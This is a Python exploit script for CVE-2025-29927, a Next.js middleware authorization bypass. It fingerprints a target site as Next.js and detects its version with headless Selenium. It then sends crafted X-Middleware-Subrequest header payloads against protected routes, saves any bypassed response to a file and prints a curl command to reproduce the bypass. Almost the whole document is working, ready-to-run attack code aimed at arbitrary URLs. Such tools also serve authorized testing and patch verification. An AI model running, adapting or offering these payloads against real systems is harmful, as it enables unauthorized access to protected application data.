#!/usr/bin/env python3 # Exploit Title: Next.js - Authorization Bypass # Date: 04/14/2025 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: https://nextjs.org/ # Software Link: https://github.com/vercel/next.js/ # Version: 15.0.0 - 15.2.2, 14.0.0 - 14.2.24, 13.0.0 - 13.5.8, 11.1.4 - 12.3.4 # Tested on: Next.js Version 13.5.6 # CVE: CVE-2025-29927 # Source: https://github.com/UNICORDev/exploit-CVE-2025-29927 # Description: In vulnerable Next.js versions, it is possible to bypass authorization checks within an application, if the authorization check occurs in middleware, by sending requests which contain the `x-middleware-subrequest` header. This exploit assesses a target's Next.js version and sends various specially crafted headers to achieve middleware bypass. class color: red = "\033[91m" gold = "\033[93m" blue = "\033[36m" green = "\033[92m" no = "\033[0m" # Imports try: import re import sys import argparse import requests from urllib.parse import urlparse except: print( f"{color.blue}DEPENDS: {color.red}Missing dependency. Try: {color.gold}pip install requests{color.no}" ) exit() # Print UNICORD ASCII Art def UNICORD_ASCII(): print( rf""" {color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no} {color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no} {color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no} {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """ ) # Print exploit help menu def help(): print( r"""UNICORD Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass Usage: python3 exploit-CVE-2025-29927.py -u python3 exploit-CVE-2025-29927.py -u [-v ] [-m ] python3 exploit-CVE-2025-29927.py -h Options: -u Target URL to check and exploit -v Specify Next.js version if known (e.g., 15.2.0) [Optional] -m Specify middleware file name/location if known (e.g. src/middleware) [Optional] -h Show this help menu. """ ) def is_vulnerable(version): # Parse the version string parts = version.split(".") major = int(parts[0]) minor = int(parts[1]) patch = int(parts[2]) # Define the version ranges ranges = [ # Next.js Versions 15.0.0 - 15.2.2 (15, 0, 0, 15, 2, 2), # Next.js Versions 14.0.0 - 14.2.24 (14, 0, 0, 14, 2, 24), # Next.js Versions 13.0.0 - 13.5.8 (13, 0, 0, 13, 5, 8), # Next.js Versions 11.1.4 - 12.3.4 (11, 1, 4, 12, 3, 4), ] # Check if the version is in any of the ranges for ( range_min_major, range_min_minor, range_min_patch, range_max_major, range_max_minor, range_max_patch, ) in ranges: # Version is greater than or equal to min range min_check = ( major > range_min_major or (major == range_min_major and minor > range_min_minor) or ( major == range_min_major and minor == range_min_minor and patch >= range_min_patch ) ) # Version is less than or equal to max range max_check = ( major < range_max_major or (major == range_max_major and minor < range_max_minor) or ( major == range_max_major and minor == range_max_minor and patch <= range_max_patch ) ) if min_check and max_check: return "Vulnerable" return "Not Vulnerable" # Run the exploit def exploit(target_url, version=None, middleware=None): UNICORD_ASCII() print( f"{color.blue}UNICORD: {color.red}Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass{color.no}" ) # Set default middleware if not provided if middleware is None: middleware = "middleware" # Filter .js extentions from middleware if middleware.endswith(".js") or middleware.endswith(".ts"): middleware = middleware[:-3] # Ensure URL has scheme if not urlparse(target_url).scheme: target_url = "https://" + target_url print(f"{color.blue}TARGETS: {color.gold}{target_url}{color.no}") session = requests.Session() headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" } # Check if target is using Next.js try: response = session.get( target_url, headers=headers, allow_redirects=True, timeout=10 ) except: print(f"{color.blue}ERRORED: {color.red}Target is not reachable!{color.no}") return # Check for Next.js markers in response headers and body next_js_headers = [ "x-nextjs-page", "x-nextjs-render", "x-nextjs-data", "x-middleware-next", "x-middleware-rewrite", "x-nextjs-rewrite", "x-nextjs-redirect", ] has_next_js_headers = any(header in response.headers for header in next_js_headers) has_next_js_script = re.search(r"/_next/static/", response.text) is not None has_next_build_id = re.search(r"/__NEXT_DATA__", response.text) is not None if not (has_next_js_headers or has_next_js_script or has_next_build_id): print( f"{color.blue}ERRORED: {color.red}Target is not running Next.js!{color.no}" ) return else: print(f"{color.blue}PREPARE: {color.gold}Target is running Next.js!{color.no}") # Try to detect Next.js version if not specified if not version: print( f"{color.blue}LOADING: {color.gold}Detecting Next.js version with Selenium...{color.no}" ) try: from selenium import webdriver from selenium.webdriver.chrome.options import Options except: print( f"{color.blue}DEPENDS: {color.red}Missing dependency. Try: {color.gold}pip install selenium{color.no}" ) exit() # Set up Chrome options chrome_options = Options() chrome_options.add_experimental_option("excludeSwitches", ["enable-logging"]) chrome_options.add_argument("--headless") chrome_options.set_capability("browserVersion", "117") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--log-level=3") # Initialize the driver driver = webdriver.Chrome(options=chrome_options) # Navigate to the website you want to check driver.get(target_url) # Try to detect Next.js version version = driver.execute_script("return next.version") # Clean up driver.quit() if version: print( f"{color.blue}VERSION: {color.gold}Target is running Next.js version {version} ({is_vulnerable(version)}){color.no}" ) else: print( f"{color.blue}VERSION: {color.gold}Could not determine Next.js version, trying all exploit vectors{color.no}" ) else: print( f"{color.blue}VERSION: {color.gold}Targeting Next.js version {version} ({is_vulnerable(version)}){color.no}" ) # Get baseline response baseline_response = session.get( target_url, headers=headers, allow_redirects=True, timeout=10 ) baseline_status = baseline_response.status_code baseline_length = len(baseline_response.content) baseline_url = baseline_response.url # Define exploit vectors based on Next.js versions exploit_vectors = [ # Version 13+ with recursion depth check - most modern { "X-Middleware-Subrequest": f"{middleware}:{middleware}:{middleware}:{middleware}:{middleware}" }, # Version 13+ with src directory { "X-Middleware-Subrequest": "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" }, # Version 12.2-13 {"X-Middleware-Subrequest": f"{middleware}"}, # Version 12.2-13 with src directory {"X-Middleware-Subrequest": "src/middleware"}, # Version pre-12.2 {"X-Middleware-Subrequest": "pages/_middleware"}, # Most comprehensive payload {"X-Middleware-Subrequest": "src/middleware:middleware:pages/_middleware"}, ] # Refine vectors based on version if provided if version: major_version = ( int(version.split(".")[0]) if version and "." in version else None ) if major_version: if major_version >= 15 or major_version == 14: exploit_vectors = exploit_vectors[:2] # Modern recursion depth vectors elif major_version == 13: exploit_vectors = exploit_vectors[:4] # Modern + older vectors elif major_version == 12: exploit_vectors = exploit_vectors[2:5] # Mid-era vectors elif major_version == 11: exploit_vectors = exploit_vectors[4:6] # Oldest vectors # Try each exploit vector for i, exploit_header in enumerate(exploit_vectors): print( f"\n{color.blue}PAYLOAD: {color.gold}" + str(exploit_header) + f"{color.no}" ) try: exploit_response = session.get( target_url, headers={**headers, **exploit_header}, allow_redirects=True, timeout=10, ) except: print(f"{color.blue}ERRORED: {color.red}Target is not reachable!{color.no}") return exploit_status = exploit_response.status_code exploit_length = len(exploit_response.content) exploit_url = exploit_response.url print(f"{color.blue}EXPLOIT: {color.gold}Payload sent!{color.no}") # Check if exploitation succeeded # Success indicators: status code change, content length difference, different URL after redirect if ( (exploit_status != baseline_status and exploit_status == 200) or (abs(exploit_length - baseline_length) > 50) or (exploit_url != baseline_url and baseline_status in [301, 302, 307]) ): print( f"{color.blue}SUCCESS: {color.green}Authorization bypass header found!{color.no}" ) # Save successful response to file filename = ( f"nextjs_bypass_{urlparse(target_url).netloc.replace(':', '_')}.html" ) with open(filename, "wb") as f: f.write(exploit_response.content) print( f"{color.blue}OUTPUTS: {color.gold}Response written to file: {filename}{color.no}" ) # Output reproduction commands curl_cmd = f'curl -i -k "{target_url}" -H "{list(exploit_header.keys())[0]}: {list(exploit_header.values())[0]}"' print(f"{color.blue}REQUEST: {color.gold}{curl_cmd}{color.no}") return else: print( f"{color.blue}FAILURE: {color.red}Authorization bypass header failed.{color.no}" ) print( f"{color.blue}ERRORED: {color.red}Exploitation failed! Target may not be vulnerable.{color.no}" ) return if __name__ == "__main__": parser = argparse.ArgumentParser( description="Next.js Middleware Authorization Bypass (CVE-2025-29927) Detector", add_help=False, ) parser.add_argument("-u", "--url", help="Target URL to check and exploit") parser.add_argument( "-v", "--version", help="Specify Next.js version if known (e.g., 15.2.0)" ) parser.add_argument( "-m", "--middleware", help="Specify middleware file name/location" ) parser.add_argument("-h", "--help", action="store_true", help="Show help menu") args = parser.parse_args() if args.help or len(sys.argv) == 1: help() elif args.url: exploit(args.url, args.version, args.middleware) else: help()